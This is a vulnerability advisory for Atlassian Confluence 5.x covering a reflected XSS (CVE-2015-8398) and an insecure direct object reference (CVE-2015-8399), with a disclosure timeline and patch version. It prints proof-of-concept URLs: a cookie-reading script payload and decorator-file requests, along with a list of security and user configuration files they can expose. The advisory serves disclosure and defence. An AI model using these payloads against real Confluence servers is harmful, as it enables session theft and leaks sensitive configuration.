Atlassian Confluence XSS / Insecure Direct Object Reference

Credit: S3ba
Risk: High
Local: No
Remote: Yes

[Systems Affected] Product : Confluence Company : Atlassian Versions (1) : 5.2 / 5.8.14 / 5.8.15 CVSS Score (1) : 6.1 / Medium (classified by vendor) Versions (2) : 5.9.1 / 5.8.14 / 5.8.15 CVSS Score (2) : 7.7 / High (classified by vendor) [Product Description] Confluence is team collaboration software, where you create, organize and discuss work with your team. it is developed and marketed by Atlassian. [Vulnerabilities] Two vulnerabilities were identified within this application: (1) Reflected Cross-Site Scripting (CVE-2015-8398) (2) Insecure Direct Object Reference (CVE-2015-8399) [Advisory Timeline] 26/Oct/2015 - Discovery and vendor notification 26/Oct/2015 - Vendor replied for Cross-Site Scripting (SEC-490) 26/Oct/2015 - Issue CONF-39689 created 27/Oct/2015 - Vendor replied for Insecure Direct Object Reference (SEC-491 / SEC-492) 27/Oct/2015 - Issue CONF-39704 created 16/Nov/2015 - Vendor confirmed that Cross-Site Scripting was fixed 19/Nov/2015 - Vendor confirmed that Insecure Direct Object Reference was fixed [Patch Available] According to the vendor, upgrade to Confluence version 5.8.17 [Description of Vulnerabilities] (1) Reflected Cross-Site Scripting An unauthenticated reflected Cross-site scripting was found in the REST API. The vulnerability is located at /rest/prototype/1/session/check/ and the payload used is <img src=a onerror=alert(document.cookie)> [References] CVE-2015-8398 / SEC-490 / CONF-39689 [PoC] http://<Confluence Server>/rest/prototype/1/session/check/something%3Cimg%20src%3da%20onerror%3dalert%28document.cookie%29%3E (2) Insecure Direct Object Reference Two instances of Insecure Direct Object Reference were found within the application, that allows any authenticated user to read configuration files from the application [References] CVE-2015-8399 / SEC-491 / SEC-492 / CONF-39704 [PoC] http://<Confluence Server>/spaces/viewdefaultdecorator.action?decoratorName=<FILE> http://<Confluence Server>/admin/viewdefaultdecorator.action?decoratorName=<FILE> This is an example of accepted <FILE> parameters /WEB-INF/decorators.xml /WEB-INF/glue-config.xml /WEB-INF/server-config.wsdd /WEB-INF/sitemesh.xml /WEB-INF/urlrewrite.xml /WEB-INF/web.xml /databaseSubsystemContext.xml /securityContext.xml /services/statusServiceContext.xml com/atlassian/confluence/security/SpacePermission.hbm.xml com/atlassian/confluence/user/OSUUser.hbm.xml com/atlassian/confluence/security/ContentPermissionSet.hbm.xml com/atlassian/confluence/user/ConfluenceUser.hbm.xml -- S3ba @s3bap3

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